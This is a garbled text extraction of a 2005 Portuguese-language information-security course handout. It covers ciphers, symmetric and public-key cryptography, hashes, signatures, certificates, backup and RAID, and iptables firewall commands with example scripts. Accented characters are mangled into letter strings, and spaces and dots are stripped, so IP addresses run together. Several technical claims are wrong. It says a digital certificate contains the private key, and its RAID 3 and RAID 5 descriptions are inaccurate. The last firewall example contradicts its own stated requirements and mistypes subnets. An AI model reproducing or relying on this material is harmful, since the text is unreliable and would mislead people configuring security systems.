U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

